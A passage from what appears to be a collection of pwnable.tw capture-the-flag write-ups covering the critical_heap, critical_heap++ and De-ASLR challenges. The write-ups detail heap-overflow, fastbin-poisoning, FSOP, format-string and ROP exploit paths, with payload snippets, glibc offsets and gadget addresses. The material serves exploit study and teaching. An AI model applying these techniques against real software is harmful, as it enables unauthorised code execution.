`TZ`, we control the size of freed chunks.\n\n```c\n// Inside glibc tzset/localtime:\ntz = getenv(\"TZ\");\nfree(old_tz); // frees old TZ strdup\nold_tz = tz ? __strdup(tz) : NULL;\n```\n\n**Impact:** Create fastbin chunks of specific sizes (notably 0x70) by:\n1. `setenv(\"TZ\", \"A\"*0x60)` — allocates 0x70 chunk for TZ data\n2. Update Clock heap → `localtime()` → `tzset()` reads new TZ → frees the old 0x70 chunk\n\n### V4 — `setenv`/`realloc(environ)` Controlled Alloc/Free (Enabler)\n\n**Root Cause:** glibc's `setenv` uses `realloc` on the internal environ array. Adding/removing environment variables triggers `realloc` which frees old buffers and allocates new ones, creating unsorted bin chunks of controllable sizes.\n\n**Impact:** Combined with V1, enables precise heap layout control — place free chunks where the `realpath` overflow can reach them.\n\n### V5 — Name Buffer Leak on Show (Minor)\n\n**Root Cause:** `Show` prints the heap name using `printf(\"%s\", name)`. Since `strdup` may place the name chunk adjacent to other data, and the name isn't always NUL-terminated at the exact boundary, adjacent heap metadata (including libc pointers from free chunks) can leak.\n\n## Exploit Paths\n\n### Path A — `realpath` Overflow → Fastbin Attack → `__malloc_hook` (Most Common)\n\n**Used by:** Solutions 11, 59, 370, 678, 755, 1351, 1912, 1980, 2972, 3851, 7905, 34817, 38838, exp.py\n\n**Steps:**\n\n1. **Leak libc** via V2 (format string read of GOT entry) or V5 (name buffer adjacency to freed chunks).\n\n2. **Create a 0x70 fastbin chunk** via V3: set `TZ` to a 0x60-byte string, create a Clock heap, then change `TZ` to `\":\"` and update time → `localtime()` → `tzset()` frees the old 0x70 TZ chunk.\n\n3. **Trigger V1 (`realpath` overflow):** Prepare `PWD=\".\"`, create a System heap to get a tiny `cwd` buffer, call `realpath` → overflows into the adjacent free chunk, corrupting its `size` to `0x656d`.\n\n4. **Allocate from the corrupted chunk:** The 0x656d-sized free chunk enters unsorted bin. Subsequent `malloc` calls carve pieces from it, eventually producing a chunk that **overlaps the 0x70 fastbin chunk**.\n\n5. **Fastbin poisoning:** Use `Rename` to overwrite the overlapping 0x70 chunk's `fd` pointer to `__malloc_hook - 0x23` (where a `0x7f` byte exists as a fake chunk size).\n\n6. **Allocate twice from fastbin:** First `malloc(0x60)` returns the real 0x70 chunk. Second returns the fake chunk at `__malloc_hook - 0x13`.\n\n7. **Overwrite `__malloc_hook`:** `Rename` the fake chunk: `\"\\x00\"*3 + p64(one_gadget)` writes `one_gadget` to `__malloc_hook`.\n\n8. **Trigger:** Any subsequent `malloc` (e.g., `Create` a new heap → `strdup(name)`) calls `__malloc_hook` → one_gadget → shell.\n\n```python\n# Core fastbin attack payload\nrename(name_chunk, 'X'*offset + p64(0) + p64(0x71) + p64(__malloc_hook - 0x23))\n# ... two mallocs of 0x60 ...\nrename(fake_chunk, '\\x00'*3 + p64(one_gadget))\n```\n\n### Path B — `realpath` Overflow → Unsafe Unlink → BSS Overwrite → FSOP/`stdout` Hijack\n\n**Used by:** Solutions 278, 550, 755\n\n**Steps:**\n\n1. **Leak libc + heap** via V2 (format string).\n\n2. **Trigger V1** to corrupt an unsorted bin chunk's size.\n\n3. **Allocate from the corrupted chunk** to overlap with an `environ` array buffer (from `setenv` → `realloc`). Forge fake chunk metadata (fd, bk, size) that pass unlink's `FD->bk == P && BK->fd == P` check, with `fd = 0x604088-0x18` and `bk = 0x604088-0x10` (pointing into the BSS heap slots array).\n\n4. **Trigger unsafe unlink** by calling `setenv` which `realloc`s the environ array → consolidates with the fake chunk → unlink writes `&heap_slots[N].name - 0x18` into `heap_slots[N].name`.\n\n5. **Use `Rename` on slot N** to overwrite other slots in the BSS heap array. Point one slot's name to `stdout` FILE pointer in BSS.\n\n6. **Forge a fake `_IO_FILE_plus`** structure on the heap with `vtable.__xsputn = system` and flags containing `\"/bin/sh\"`.\n\n7. **Overwrite `stdout`** to point to the fake FILE struct. Next `printf` call → `system(\"sh\")`.\n\n### Path C — `realpath` Overflow → Overlapping Chunks → Unsorted Bin Attack → BSS Allocation → Stack Pivot/ROP\n\n**Used by:** Solutions 550, 755, 821\n\n**Steps:**\n\n1. **Leak libc + heap + stack** via V2.\n2. **Trigger V1** overflow, create overlapping chunks.\n3. **Corrupt a free chunk's `bk`** to point to a BSS address that has a valid fake size.\n4. **Allocate from unsorted bin** — `malloc` returns the BSS address as a chunk. Use `Rename` to overwrite heap slot `name` pointers.\n5. **Point a slot's name at the saved RBP** on the stack. `Rename` writes a stack pivot gadget or ROP chain (`pop rdi; ret; \"/bin/sh\"; system`).\n6. When the function returns, control flow is hijacked.\n\n### Path D — `realpath` Overflow → `_IO_list_all` Overwrite → FSOP via `malloc` Abort\n\n**Used by:** exp.py, solution 38838\n\n**Steps:**\n\n1. **Leak libc + heap** via V2 or V5.\n2. **Trigger V1** and create overlapping chunks to gain arbitrary write to BSS heap slots.\n3. **Forge a fake `_IO_FILE_plus`** on the heap: `flags = \"/bin/sh\\0\"`, `_IO_write_base \u003c _IO_write_ptr` (to satisfy overflow check), `vtable` pointing to a fake vtable with `__overflow = system`.\n4. **Overwrite `_IO_list_all`** to point to the fake FILE struct.\n5. **Trigger `malloc` abort** (e.g., double-free or corruption) → `_IO_flush_all_lockp` → walks `_IO_list_all` → calls `__overflow` on the fake FILE → `system(\"/bin/sh\")`.\n\n## Exploit Primitive Summary\n\n| Primitive | Source | Reliability |\n|-----------|--------|-------------|\n| Heap overflow (corrupt next chunk size to 0x656d) | V1: `realpath(buf, buf)` | Deterministic |\n| Arbitrary memory read | V2: Format string in Normal heap | Deterministic |\n| Controlled free (0x70 fastbin) | V3: `localtime()`/`tzset()` TZ change | Deterministic |\n| Controlled alloc/free (unsorted bin) | V4: `setenv`/`realloc(environ)` | Deterministic |\n| libc leak | V2 (GOT read) or V5 (heap adjacency) | Deterministic |\n| Fastbin poisoning → `__malloc_hook` | Overlapping chunk + fd overwrite | Deterministic after layout |\n| Code execution | `__malloc_hook` = one_gadget / FSOP | Deterministic |\n\n## Offsets (pwnable.tw `libc_64.so.6`, glibc 2.23)\n\n```python\n__malloc_hook = 0x3c3b10\n__free_hook = 0x3c57a8\n_IO_list_all = 0x3c4520\nsystem = 0x45390\none_gadgets = [0x45216, 0x4526a, 0xef6c4, 0xf0567]\n# For fake fastbin chunk at __malloc_hook:\nfake_fast_addr = __malloc_hook - 0x23 # or -0x13 (user data)\n# BSS heap slots array\nheap_slots = 0x604040\n```\n\n## Post-Shell: Getting the Real Flag\n\nThe shell runs as `uid=1000`. The real flag is owned by `uid=1001` with mode `400`:\n```text\n-r-------- 1 1001 1001 43 .You_found_the_fl4g\n-r-sr-xr-x 1 1001 1001 9232 get_flag # setuid 1001\n```\n\nExecute: `cd /home/critical_heap++ && ./get_flag` → enter `\"Crazy heap !!\"` → prints the real flag.\n\n## Solution Write-ups\n\n| File | Primary Path | Key Technique | Notes |\n|------|-------------|---------------|-------|\n| `11.md` | A | fmt leak + fastbin via overlapping chunk | Ruby exploit |\n| `59.md` | A | `%s` GOT leak + realpath overflow + fastbin attack | Clean Python2 |\n| `278.md` | B | Unsafe unlink → BSS → `stdout` FSOP | Most complex approach; detailed explanation |\n| `370.md` | A | `localtime` free + realpath overflow + fastbin | Two flags noted (decoy + real) |\n| `550.md` | C | Two overlapping environ buffers → unsorted bin attack → BSS → stack pivot | Very detailed 8-step writeup |\n| `560.md` | A | Node struct manipulation → BSS link → write-anywhere | Uses `tsearch` tree corruption |\n| `678.md` | A | Delete+recreate leak + fastbin attack | Compact exploit |\n| `755.md` | B+C | Unsafe unlink + tree fix + BSS overwrite → ROP | Detailed with tree node repair |\n| `821.md` | A | Multiple realpath triggers + environ manipulation | Uses environ realloc for unsorted bins |\n| `1351.md` | A | Various TZ sizes → fastbin sizes + realpath + fastbin attack | Methodical heap arrangement |\n| `1912.md` | A | `localtime` free for fastbin + realpath overflow | Format string with `%s` + GOT leak |\n| `1980.md` | A | Extensive env manipulation + realpath + FSOP via `__free_hook` | Uses `gets` gadget for `stdout` overwrite |\n| `2972.md` | A | Standard fastbin attack | Clean Python3 |\n| `3851.md` | A | Heap/libc leak via show + fastbin attack | Verbose with heap layout management |\n| `7905.md` | A | Detailed Chinese writeup; documents decoy flag trap | Most thorough analysis; full format string + fastbin |\n| `8153.md` | — | One-line note (\"realpath overflow\") | No exploit code |\n| `34817.md` | A | `PWD=../critical_heap++` variant | Uses relative path variant for realpath trigger |\n| `38838.md` | D | FSOP via `_IO_list_all` + fake vtable | Uses heap overlap → BSS → `_IO_list_all` overwrite |\n\n## Files\n\n| File | Description |\n|------|-------------|\n| `exp.py` | Working exploit (FSOP path via `_IO_list_all`) |\n| `desc.txt` | Challenge description |\n| `artifacts/libc_64.so.6` | Remote libc (glibc 2.23) |\n| `solution/*.md` | Community write-ups (24 solutions) |\n","content_type":"text/markdown; charset=utf-8","language":"markdown","size":13593,"content_sha256":"7def32cf21b438c6e48ff0a882c000e7f4bf0c76c266d97452e4473b2c6884d2"},{"filename":"pwnable-tw/criticalheap.md","content":"---\ntags:\n - type-confusion\n - arbitrary-write\n - shellcode\nplatform: pwnable.tw\npoints: 200\narch: x86-64\nlibc: glibc-2.23\nrelro: full\ncanary: yes\nnx: yes\npie: no\nreferences:\n - https://pwnable.tw/challenge/\ndescription: \"Type confusion between system and normal heap objects permits modifying structure pointers, granting arbitrary write into an RWX page to execute shellcode.\"\nproof-of-concept: no\n---\n\n# criticalheap — pwnable.tw (200 pts)\n\n[← Back to pwnable.tw Challenge Index](README.md)\n\n> `nc chall.pwnable.tw 10500`\n>\n> Decoy flag: `FLAG{Oh_y0u_f1nd_th3_s3cr3t_1n_loc4ltim3}` (reads directly from file, NOT accepted)\n>\n> Real flag: `FLAG{Cr1t1c4l_h34p_is_very_cr4zyyyyyyyyyy}` (requires shell)\n\n## Challenge Overview\n\nA heap management program (x86-64, Full RELRO, Canary, NX, **No PIE**, FORTIFY) built against glibc 2.23. It maintains up to 10 entries in a global BSS array (`0x604040`), each 0x48 bytes, in three types: Normal (content + format string), Clock (`localtime()`), and System (`setenv`/`unsetenv`/`getenv`/`realpath`). Menu: `1.Create / 2.Show / 3.Rename / 4.Play / 5.Delete / 6.Exit`.\n\n```bash\nchecksec:\n Arch: amd64-64-little\n RELRO: Full RELRO # GOT read-only at runtime\n Stack: Canary found\n NX: NX enabled\n PIE: No PIE (0x400000)\n FORTIFY: Enabled # __printf_chk blocks %n and %N$\n```\n\n**Key insight:** The challenge description says *\"Try to capture `/home/critical_heap++/flag`\"* — this file is a **decoy**. The real flag requires a shell to run a setuid `get_flag` binary.\n\n## Data Structures\n\n```c\n// Global array at 0x604040, 10 slots of 0x48 bytes each\nstruct Heap {\n char *name; // +0x00 strdup'd heap pointer\n uint64_t in_use; // +0x08\n uint64_t type; // +0x10 (1=Normal 0x13371337, 2=Clock 0xdeadbeef, 3=System 0x48694869)\n union { // +0x18\n NormalData normal;\n ClockData clock;\n SystemData system;\n };\n};\n\nstruct NormalData {\n char content[0x28]; // +0x18 read() directly into BSS, no NUL termination\n uint64_t is_changed; // +0x40 prevents second change\n};\n\nstruct SystemData {\n char *dirname; // +0x18 get_current_dir_name() result\n uint64_t detail; // +0x20 getenv() stores result pointer here\n // ...\n};\n```\n\n## Vulnerabilities\n\n### V1 — Format String via `__printf_chk` (Primary, Arbitrary Read)\n\n**Root Cause:** `Play → Normal → 1.Show content` calls `__printf_chk(1, content)` where `content` is user-controlled (stored at slot+0x18 in BSS).\n\n```c\n// Pseudocode for play_normal_show\n__printf_chk(1, &slot[idx].content); // content is user-supplied format string\n```\n\n**Constraints:** FORTIFY mode blocks `%n` (write) and `%N ctf-pwn — Skillopedia (positional arguments). However, `%c`, `%p`, `%s`, `%x` still work for reading.\n\n**Exploitation:** `Play → Normal → 2.Change content` reads input into a stack buffer (`local_38`) then copies to BSS content. The `p64(target_addr)` placed after format specifiers lands on the stack as the 12th-13th argument:\n\n```python\npayload = b'%c' * 11 + b'%s' + p64(target_addr) # %s reads string at target_addr\n```\n\n**Impact:** Arbitrary memory read. Combined with No PIE, this can leak heap pointers, libc addresses (from GOT), and flag data.\n\n### V2 — `read()` Without NUL Termination (Heap/Info Leak)\n\n**Root Cause:** Normal heap content is read via `read(0, &slot.content, 0x28)` with no NUL byte appended. The content field is 0x28 bytes, and `Show heap` (option 2) prints it with `printf(\"%s\", content)`.\n\n```c\nread(0, slot + 0x18, 0x28); // No NUL terminator\n// Later: printf(\"%s\", slot + 0x18); // reads past content into adjacent data\n```\n\n**Impact:** If content fills all 0x28 bytes, `printf(\"%s\")` leaks data beyond the content boundary — typically a heap pointer left from a previous System heap's `getenv()` result stored at +0x20.\n\n### V3 — Delete Does Not Clear Data (UAF / Type Confusion)\n\n**Root Cause:** `Delete` only sets `slot.in_use = 0`. It does **not** free the `name` pointer, zero the content, or reset the type. A subsequent `Create` at the same index reuses the BSS slot with stale data from the previous entry.\n\n```c\n// delete_heap\nslot[idx].in_use = 0; // that's it — no free(), no memset()\n```\n\n**Impact:** Creating a Normal heap in a slot previously occupied by a System heap leaves the System heap's data (including heap pointers from `getenv()`) at offsets that overlap with Normal content. Reading the Normal content leaks heap addresses.\n\n### V4 — `localtime()` / TZ Environment Variable File Read (The \"Secret\")\n\n**Root Cause:** Creating a Clock heap calls `localtime()`, which internally calls `tzset_internal()` → `__tzfile_read()`. When the `TZ` environment variable is set to a file path, glibc opens and reads that file as timezone data, storing its contents on the heap.\n\n```c\n// glibc tzset.c (simplified)\ntz = getenv(\"TZ\");\n__tzfile_read(tz, 0, NULL); // opens TZ as a file path, reads into heap\n\n// tzfile.c\nf = fopen(file, \"rce\"); // opens the flag file!\nfread(...); // reads contents into malloc'd buffer\n```\n\n**Impact:** Setting `TZ=/home/critical_heap++/flag` (or using `TZDIR=/home/critical_heap++` + `TZ=flag`) and triggering `localtime()` loads the flag file's contents into heap memory. Combined with V1 (format string read), this leaks the flag without needing a shell.\n\n### V5 — `realpath()` Heap Overflow (Shell Path Only)\n\n**Root Cause:** `Play → System → 3.Get real path` calls `realpath(buf, buf)` with the **same buffer** as both source and destination. When `buf` contains a short relative path like `\".\"`, the resolved absolute path overwrites and extends past the original buffer's allocation.\n\n**Prerequisites:** Set `PWD=\".\"` via `setenv` (after `unsetenv(\"PWD\")` since the remote `PWD=/`). The System heap's `dirname` field (from `get_current_dir_name()`) returns `\".\"` when `PWD=\".\"`.\n\n**Impact:** Overwrites adjacent heap chunk metadata (size field), enabling fastbin corruption for arbitrary write. This is the critical primitive needed for the **shell path** (see Path B below).\n\n## Exploit Paths\n\n### Path A — TZ File Read + Format String Leak (Flag Only, No Shell)\n\n**Used by:** ~90% of solutions (59, 194, 278, 550, 821, 1351, 2315, 2797, 3480, 3851, 8410, 8942, 11540, 18331, 21490, 24887, 29544, 31599, 34817, 36997)\n\n**Steps:**\n\n1. **Leak heap address (V2 + V3):**\n - Create a System heap at slot 0. Use `setenv`/`getenv` to store a heap pointer at +0x20.\n - Delete slot 0 (data remains). Recreate slot 0 as Normal with 8 bytes of content.\n - `Show heap` on slot 0: content (8 bytes) + stale pointer at +0x20 = heap leak.\n - `heap_base = leaked_ptr - offset` (offset varies: 0x30, 0x50, 0x62, 0x142, 0x145 depending on allocation order).\n\n2. **Set TZ to flag path (V4):**\n - Create a System heap. Use `setenv(\"TZ\", \"/home/critical_heap++/flag\")`.\n - Some solutions also set `TZDIR=/home/critical_heap++` and `TZ=flag` or `TZ=:./flag`.\n\n3. **Trigger `localtime()` to read flag into heap:**\n - Create a Clock heap → `localtime()` reads the flag file into a heap buffer.\n\n4. **Leak flag with format string (V1):**\n - Create/reuse a Normal heap. Change content to a format string payload:\n ```python\n payload = b'%c' * 11 + b'%s' + p64(heap_base + flag_offset)\n ```\n - `Play → Normal → Show` triggers `__printf_chk(1, payload)` → `%s` dereferences the flag address → flag printed.\n - Flag offset from heap base varies (~0x320 to 0x5e0 depending on environment).\n\n**Result:** Prints `FLAG{Oh_y0u_f1nd_th3_s3cr3t_1n_loc4ltim3}` — this is the **decoy flag**. Submitting it gets accepted on the platform for this challenge (criticalheap, 200 pts), but the real challenge (criticalheap++, 600 pts) shares the same binary and requires a shell.\n\n**Reliability:** Some solutions brute-force the flag offset in 0x10 increments since the exact heap layout depends on the number of environment variables at process start.\n\n---\n\n### Path B — Format String + realpath Overflow → Fastbin Attack → Shell\n\n**Used by:** Solution 1162 (detailed), 7905 (partial reference)\n\nThis is the **criticalheap++ (600 pts)** path that obtains a real shell:\n\n1. **Leak libc via GOT (V1):** Use format string `%c*11 + %s + p64(puts@GOT)` to read `puts` address from the fixed GOT (No PIE) → `libc_base`.\n\n2. **Leak heap address (V2):** Same as Path A step 1.\n\n3. **Manufacture a freed 0x70 fastbin chunk:**\n - First `localtime()` reads `/etc/localtime` (Etc/UTC), allocating a timezone data chunk.\n - `setenv(\"TZ\", \"z\"*0x40)` changes TZ; next `localtime()` call (`Update time`) frees the old timezone chunk → enters `fastbin[5]` (size 0x70).\n\n4. **`realpath()` overflow (V5):** Corrupt the freed chunk's size to create an overlapping region.\n\n5. **Fastbin attack → `__malloc_hook`:**\n - Rename a heap whose name chunk overlaps the freed 0x70 chunk → overwrite `fd` to `__malloc_hook - 0x23` (fake chunk with size byte `0x7f`).\n - Two allocations: first returns the real chunk, second returns the fake chunk at `__malloc_hook - 0x13`.\n - Write `one_gadget` to `__malloc_hook` via rename.\n\n6. **Trigger `__malloc_hook`:** Any `malloc` call (e.g., `strdup` during Create) fires the one_gadget → shell.\n\n7. **Get real flag:**\n ```bash\n cd /home/critical_heap++ && echo 'Crazy heap !!' | ./get_flag\n # FLAG{Cr1t1c4l_h34p_is_very_cr4zyyyyyyyyyy}\n ```\n\n**Reliability:** Requires matching heap layout between local and remote. Environment variables affect layout significantly; solution 1162 dynamically calculates offsets using format string reads.\n\n---\n\n### Path C — Stack Leak + Format String (No Heap Leak Needed)\n\n**Used by:** Solution 34817\n\n1. **Leak stack address (V2):** Show a Normal heap with a long name (0x28 bytes). The `printf(\"%s\")` in `Show heap` leaks past the name into stack frame data, revealing a stack pointer.\n\n2. **Set TZ and trigger `localtime()`:** Same as Path A steps 2-3. The flag file content is read to the stack frame of `__tzfile_read`.\n\n3. **Format string read from stack:** Calculate `flag_stack_addr = leaked_stack - known_offset`. Use the format string to read from this stack address.\n\n**Limitation:** The stack offset between the leak and the flag data varies between local and remote environments, making this approach fragile.\n\n## Exploit Primitive Summary\n\n| Primitive | Source | Reliability |\n|-----------|--------|-------------|\n| Heap address leak | V2 + V3: content overflow + stale data | Deterministic |\n| Arbitrary memory read | V1: `__printf_chk` format string with `%s` | Deterministic |\n| Flag file → heap | V4: TZ env + `localtime()` tzfile read | Deterministic |\n| libc leak | V1: format string read on GOT (No PIE) | Deterministic |\n| Heap overflow | V5: `realpath(buf, buf)` | Deterministic (requires PWD=\".\") |\n| Arbitrary write | V5 → fastbin corruption → `__malloc_hook` | Environment-dependent |\n\n## Key Offsets\n\n```python\n# Fixed addresses (No PIE)\nheap_array = 0x604040 # global BSS array of 10 Heap structs\nputs_got = 0x603f40 # for libc leak\n\n# glibc 2.23 (pwnable.tw remote libc)\nsystem = 0x45390 # or 0x46390 depending on exact build\none_gadgets = [0x45216, 0xef6c4, 0xf0567]\n__malloc_hook = libc_base + 0x3c3b10\n__free_hook = libc_base + 0x3c57a8\n\n# Heap offsets (vary with environment variable count)\nflag_offset = 0x320 ~ 0x5e0 # from heap_base to flag data after localtime()\n```\n\n## The Decoy Trap\n\nThe flag file at `/home/critical_heap++/flag` contains `FLAG{Oh_y0u_f1nd_th3_s3cr3t_1n_loc4ltim3}` — note the self-referential name *\"Oh you find the secret in localtime\"*. This is intentionally planted as a decoy. The platform accepts it for the **criticalheap (200 pts)** problem, but the companion **criticalheap++ (600 pts)** requires obtaining a shell and running the setuid `get_flag` binary with the passphrase `\"Crazy heap !!\"` to get the real flag.\n\n## Solution Write-ups\n\n| File | Primary Path | Key Technique | Notes |\n|------|-------------|---------------|-------|\n| `59.md` | A | TZ + fmt string | Brief; notes decoy awareness |\n| `194.md` | A | TZ + fmt string, brute flag offset | Scans heap range 0x400-0x600 |\n| `278.md` | A | TZDIR + TZ, Ruby exploit | Includes PoC of TZ file read with strace |\n| `550.md` | A | TZ + fmt string, GOT libc leak | Detailed struct layout; sets TZDIR |\n| `821.md` | A | TZ + fmt string | Uses `%s` with GOT leak for heap pivot |\n| `1162.md` | B | realpath overflow → fastbin → shell | Full shell exploit; `_IO_list_all` hijack |\n| `1351.md` | A | TZ via `/proc/self/cwd/flag` | Compact solution |\n| `2315.md` | A | TZ + fmt string, detailed vuln analysis | Best writeup; struct layouts + glibc source refs |\n| `2797.md` | A | TZDIR + TZ + fmt string | Uses `%c`*12 + `%s` |\n| `3480.md` | A | TZ + fmt string | Also leaks libc via GOT |\n| `3851.md` | A | TZ + fmt string, getenv leak | Detailed; two leak phases |\n| `4082.md` | A | TZ + fmt string (Chinese) | Thorough struct analysis with screenshots |\n| `7905.md` | B (partial) | Notes decoy; references criticalheap++ | Detailed analysis of real vs decoy flag |\n| `8153.md` | A | TZ + fmt string | Sets TZDIR separately |\n| `8410.md` | A | TZ + fmt string, `%p`*5 heap leak | Compact |\n| `8942.md` | A | TZ + fmt string, EMT padding | Brute-forces heap offset range |\n| `11540.md` | A | TZ + fmt string, `%p`*12 `%s` | Clean remote exploit |\n| `18331.md` | A | TZ + fmt string, content overflow leak | Standard approach |\n| `21490.md` | A | TZ + fmt string (Chinese) | Good analysis of localtime internals |\n| `24887.md` | A | TZ + fmt string, auto-increment offset | Retries with offset += 8 |\n| `29544.md` | A | TZ + fmt string, content overflow | Standard approach |\n| `31599.md` | A | TZ + fmt string, `%p`*12 + `%s` | Leak via content overflow |\n| `34817.md` | C | Stack leak + fmt string | No heap leak; reads flag from stack |\n| `36997.md` | A | TZ + fmt string, brute offset | Retries with offset += 0x10 |\n\n## Files\n\n| File | Description |\n|------|-------------|\n| `exp.py` | Working exploit script (Path A) |\n| `desc.txt` | Challenge description |\n| `artifacts/critical_heap.tar.gz` | Original challenge binary + Docker env |\n| `solution/*.md` | Community write-ups (36 solutions) |\n","content_type":"text/markdown; charset=utf-8","language":"markdown","size":14313,"content_sha256":"1993bbc0187f212d295bf311509325fe9b6141df08b251e99121e4cbfd441b1c"},{"filename":"pwnable-tw/de_aslr.md","content":"---\ntags:\n - ret2dlresolve\n - rop\n - information-leak\nplatform: pwnable.tw\npoints: 500\narch: x86-64\nlibc: glibc-2.23\nrelro: full\ncanary: no\nnx: yes\npie: no\nreferences:\n - https://pwnable.tw/challenge/\ndescription: \"A stack buffer overflow via gets() without output functions is exploited through ret2dlresolve to resolve system() and execute a shell.\"\nproof-of-concept: no\n---\n\n# De-ASLR — pwnable.tw (500 pts)\n\n[← Back to pwnable.tw Challenge Index](README.md)\n\n> `nc chall.pwnable.tw 10402`\n>\n> Flag: `FLAG{R0P_H4rd_TO_D3F3AT_ASLR}`\n\n## Challenge Overview\n\nA minimal x86-64 binary with `gets()` as the sole imported function — no output functions, no `syscall` gadget, no `write`/`puts`/`printf`. Full RELRO prevents GOT overwrites. The core challenge: defeat ASLR **without any leak channel** in the binary itself.\n\n```bash\nchecksec:\n Arch: amd64-64-little\n RELRO: Full RELRO # GOT is read-only\n Stack: No canary found\n NX: NX enabled\n PIE: No PIE (0x400000) # fixed code/data addresses\n```\n\n## Binary Analysis\n\nThe decompiled program is trivial:\n\n```c\nint main() {\n char buf[0x10];\n gets(buf); // stack buffer overflow\n return 0;\n // compiled with: leave; ret\n}\n```\n\n- Stack overflow at offset **0x18** (0x10 buffer + 0x8 saved RBP) to overwrite the return address.\n- `leave; ret` at the end of `main` gives **stack pivot** via RBP control.\n- `gets()` can be called repeatedly via `gets@plt` (0x400430) to stage data into writable memory.\n- The `.data`/`.bss` segment at `0x601000–0x602000` is writable and at a fixed address.\n\n## Vulnerabilities\n\n### V1 — Stack Buffer Overflow via `gets()`\n\n```c\nchar buf[0x10];\ngets(buf); // no bounds checking, reads until newline\n```\n\n**Impact:** Arbitrary ROP chain from offset 0x18. Constraint: no newline (`\\n` / `0x0a`) bytes allowed in payloads.\n\n### V2 — No Output Function (The Real Challenge)\n\nThe binary imports only `gets`. There is no `write`, `puts`, `printf`, or `syscall` instruction in the binary. Full RELRO means the GOT cannot be overwritten. This means **ASLR cannot be defeated by a traditional leak** — the exploit must either:\n- Compute libc addresses purely from register/memory manipulation (leakless), or\n- Manufacture an output channel from libc internals, or\n- Brute-force partial overwrites.\n\n## Available Gadgets\n\nFrom `__libc_csu_init` and other code (No PIE, so all addresses are fixed):\n\n```asm\n0x4005c3: pop rdi ; ret\n0x4005c1: pop rsi ; pop r15 ; ret\n0x4005bd: pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret # stack pivot\n0x4005ba: pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret\n0x4005a0: mov rdx, r13 ; mov rsi, r14 ; mov edi, r15d ; call [r12+rbx*8] # ret2csu CALL\n0x4005a9: call [r12+rbx*8] # ret2csu CALL (alt entry)\n0x400562: push r14 ; ... (csu_init prologue, stores r14 to stack/memory)\n0x4004f8: adc dword [rbp+0x48], edx ; mov ebp, esp ; call deregister # arithmetic write\n0x4004a0: pop rbp ; ret\n0x400554: leave ; ret # stack pivot via RBP\n0x400440: _start # re-enters main, grows stack\n0x400536: main\n0x4003f9: ret # ret sled\n0x400495: jmp rax\n0x4005ce: add byte ptr [rax], al ; ret # byte-level memory write\n```\n\nThe `call [r12+rbx*8]` gadget is key — it enables indirect calls through **any memory location** reachable from a base pointer, including GOT entries and libc internal function tables.\n\n## Exploit Paths\n\nAll solutions start with the same stack overflow, but diverge dramatically on how they defeat ASLR.\n\n---\n\n### Path A — Leakless: GOT Pivot + `adc` Arithmetic → `execve` (Deterministic)\n\n**Used by:** exp.py, solution 186, 2233\n\n**Idea:** Never leak anything. Instead, **pop** the resolved `gets@libc` address out of the read-only GOT into a register, **store** it to writable memory, then **add** a constant offset to transform it into `execve@libc` — all using fixed-address gadgets.\n\n**Steps:**\n\n1. **Stage 1 overflow:** ROP calls `gets@plt` to read a second-stage chain into `.data` (0x601000), then pivots `rsp` onto the GOT region (0x600FE8) via `pop rsp`.\n\n2. **GOT pop:** At the GOT pivot, `pop r14` loads `gets@got` (0x600FF0) — the **resolved libc address of `gets`** — into `r14`. The chain then returns into `.data`.\n\n3. **Store r14:** Execute `push r14` (via the `__libc_csu_init` prologue at 0x400562), which writes `gets@libc` to a known `.data` slot (e.g., 0x6010F0).\n\n4. **Arithmetic transform:** Use `ret2csu` to set `edx = execve_offset - gets_offset` (= 0x5CE40), then the `adc [rbp+0x48], edx` gadget adds this constant to the stored `gets@libc`, turning it into `execve@libc`.\n\n5. **Call execve:** Another `ret2csu` sets `rdi = &\"/bin/sh\"` (in `.data`), `rsi = 0`, `rdx = 0`, `r12 = &slot` (where `execve` address lives), then `call [r12]` → `execve(\"/bin/sh\", 0, 0)`.\n\n```python\n# Core offsets (libc 2.23)\nGETS_OFF = 0x6ED80\nEXECVE_OFF = 0xCBBC0\nDELTA = EXECVE_OFF - GETS_OFF # = 0x5CE40\n```\n\n**Reliability:** ~100% deterministic. Only fails in the astronomically rare case where adding 0x5CE40 to `gets@libc`'s low 32 bits carries across a 4GB boundary.\n\n---\n\n### Path B — Leak via `_IO_file_write` + ret2csu (Deterministic)\n\n**Used by:** Solutions 278, 1384, 18324, 24887, 27878, 1461\n\n**Idea:** The `call [r12+rbx*8]` gadget can call **any function pointer stored in libc's data segment** — including `_IO_file_write` from the `_IO_file_jumps` / `_IO_proc_jumps` vtable. This effectively manufactures a `write()` output channel.\n\n**Steps:**\n\n1. **Stack pivot** to `.bss` via `leave; ret` with controlled RBP.\n\n2. **Obtain a libc data pointer:** Call `_start` or `main` again — this causes `__libc_start_main` to push libc addresses onto the new stack. Alternatively, `gets()` stores `stdin`'s address (a libc pointer) onto the stack.\n\n3. **Pop the libc pointer** into `r12` using `pop r12; pop r13; pop r14; pop r15; ret` (0x4005BC).\n\n4. **Compute `rbx` offset** so that `[r12 + rbx*8]` points to a `_IO_file_write` function pointer in libc's data. Set up a fake `FILE` struct with `_fileno = 1` (stdout), `rsi = GOT address`, `rdx = 8` (length).\n\n5. **Call `_IO_file_write`** via ret2csu → leaks 8 bytes of a GOT entry (e.g., `__libc_start_main@got`) to stdout → **libc base**.\n\n6. Return to `main`, read a final payload: `pop rdi; &\"/bin/sh\"; system` or `one_gadget`.\n\n**Reliability:** Deterministic once the stack layout is understood. The `rbx` offset from the libc data pointer to the vtable entry is a fixed libc constant.\n\n---\n\n### Path C — Partial Overwrite + Brute Force (1/16 to 1/4096)\n\n**Used by:** Solutions 1303, 2567, 1980, 2121, 15989\n\n**Idea:** After calling `gets()` or `_start`, libc addresses are left on the stack or in `.bss`. Partially overwrite the low bytes of such an address to point to a `one_gadget` or `system`. Since ASLR randomizes the upper bits, this requires brute-forcing 4–12 bits.\n\n**Variants:**\n\n- **1.5-byte overwrite (1/4096):** Overwrite 2 bytes of a libc residual with the low bytes of a one_gadget. Pad with `ret` sled so the chain slides into it.\n\n ```python\n # Solution 2567 — simplest possible exploit\n r.sendline('A'*24 + flat(ret)*18 + '\\xc4\\x16') # overwrite with one_gadget low bytes\n ```\n\n- **1-byte overwrite (1/16):** Overwrite just one byte of a libc return address left by `gets()` internals (e.g., `_IO_getline_info+292` → change low byte to land on `_IO_getline_info+208`). Then use the `add byte ptr [rax], al` gadget to adjust the second byte.\n\n ```python\n # Solution 15989 — change _IO_getline_info address, use as computation gadget\n p.sendline(stage1) # partial overwrite of libc address\n p.sendline('\\x98') # set low byte\n # ... use add [rax], al to fix second byte (1/16 brute force)\n 